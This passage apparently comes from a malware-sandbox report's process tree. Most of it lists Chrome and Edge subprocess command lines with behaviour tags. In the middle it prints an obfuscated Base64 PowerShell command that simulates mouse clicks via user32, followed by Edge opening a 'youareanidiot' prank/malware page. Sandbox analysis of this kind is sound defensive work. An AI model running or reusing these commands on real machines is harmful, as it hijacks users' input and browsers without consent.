        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5588,i,11739897087642356215,16832755104602293509,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:1
        5⤵
        
        PID:6936
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5480,i,15651157624602150776,6726597065780199676,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:1
        5⤵
        
        PID:7104
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5992,i,16659284574893325597,9052139155513580793,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:1
        5⤵
        
        PID:7556
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6180,i,14841341670040489431,493425234318657016,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
        5⤵
        
        PID:8652
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6524,i,1475873259636857826,12843701035581649229,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:1
        5⤵
        
        PID:8420
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6536,i,4461888043043754351,9290008714938281064,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:1
        5⤵
        
        PID:8444
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6844,i,5267507660202423370,2405193581540853326,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6988 /prefetch:1
        5⤵
        
        PID:5860
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6516,i,113973334984391275,1189168389349022084,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:14
        5⤵
        
        PID:8572
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6704,i,15191357345293028995,12581639309842500684,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6976 /prefetch:14
        5⤵
        
        PID:5988
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=260,i,7025739926882778201,15196058408364278987,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6656 /prefetch:14
        5⤵
        
        PID:256
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6996,i,7184597706886357387,899698640795721613,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=7076 /prefetch:14
        5⤵
        
        PID:236
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6528,i,17104437097939672548,4840621762216036298,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=800 /prefetch:1
        5⤵
        
        PID:23668
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=7600,i,12061496707243357099,5453432302073994,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:1
        5⤵
        
        PID:15888
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=7604,i,11293919157383489558,17348553836018689276,262144 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6724 /prefetch:10
        5⤵
        
        PID:15908
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=7580,i,8330969642087660029,14269185919978583042,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=7576 /prefetch:1
        5⤵
        
        PID:10424
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=796,i,6849425446992467825,14845829956919289104,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6212 /prefetch:1
        5⤵
        
        PID:16752
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5880,i,2099539193974784197,13027137677598502408,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6676 /prefetch:1
        5⤵
        
        PID:17228
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=6528,i,12037276970584198305,9895917794752297628,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=5876 /prefetch:14
        5⤵
        
        PID:17236
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4692,i,8623860028520851681,9789291960704942288,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:14
        5⤵
        
        PID:11748
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4676,i,2642828182347988548,774165367937379256,524288 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:14
        5⤵
        
        PID:19580
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=7480,i,13432249475563428780,4464237872514258913,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=6212 /prefetch:1
        5⤵
        
        PID:20560
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --metrics-shmem-handle=7936,i,12744541429373558470,8185732416740842448,2097152 --field-trial-handle=1936,i,4922399729876856748,388638434825197938,262144 --variations-seed-version --mojo-platform-channel-handle=7144 /prefetch:9
        5⤵
        
        PID:20580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:6112
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x294,0x7ffeed6dc188,0x7ffeed6dc194,0x7ffeed6dc1a0
        5⤵
        
        PID:4800
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1672,i,7907836378288850742,7163362126174928481,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=2584 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:5828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2204,i,16279913353108249162,16013249830445518734,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=3044 /prefetch:13
        5⤵
        
        PID:5896
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1536,i,4630721871689318923,18078050986930883791,262144 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=2552 /prefetch:2
        5⤵
        
        PID:4856
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3648,i,2593211533453187138,7312000783728815438,2097152 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
        5⤵
        
        PID:1312
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3652,i,5566413323958636078,14429379587394992898,2097152 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
        5⤵
        
        PID:2928
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4248,i,13258102006344869163,2995616475125733140,2097152 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=4848 /prefetch:1
        5⤵
        
        PID:5564
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4268,i,2004693609341678410,4404189291996865202,2097152 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:9
        5⤵
        
        PID:5568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5380,i,10575245165408895304,11345106385805811777,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=3956 /prefetch:14
        5⤵
        
        PID:5792
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5456,i,9108610001094088926,12792048945486979144,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:12
        5⤵
        
        PID:4680
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5644,i,5865836024028034954,7084706702163706110,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:14
        5⤵
        
        PID:460
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5652,i,1917908753913409441,3392675941122902178,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:14
        5⤵
        
        PID:3552
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6320,i,13342191944710405398,16538489834493751603,2097152 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:1
        5⤵
        
        PID:6212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6328,i,14889819403352200891,5529569898821985838,2097152 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:1
        5⤵
        
        PID:7228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5192,i,11826109980192264285,14463503876296678325,2097152 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=6564 /prefetch:1
        5⤵
        
        PID:8048
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7044,i,14307506953230022981,12388616559257925606,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=7056 /prefetch:14
        5⤵
        
        PID:8708
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7044,i,14307506953230022981,12388616559257925606,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=7056 /prefetch:14
        5⤵
        
        PID:8728
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4260,i,1038854983149334889,1303314315534382436,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:14
        5⤵
        
        PID:2036
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3632,i,3464237301238223488,8651444909915417083,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=4952 /prefetch:14
        5⤵
        
        PID:8672
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4924,i,13024211362148076645,6569382825374491450,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=7852 /prefetch:14
        5⤵
        
        PID:8688
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4888,i,9157356611799348471,9747311825030991679,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:14
        5⤵
        
        PID:8676
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5772,i,11283758261953799,15582714271966317923,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:14
        5⤵
        
        PID:11212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2056,i,7300540836134750011,16595930805044578376,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:14
        5⤵
        
        PID:26432
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
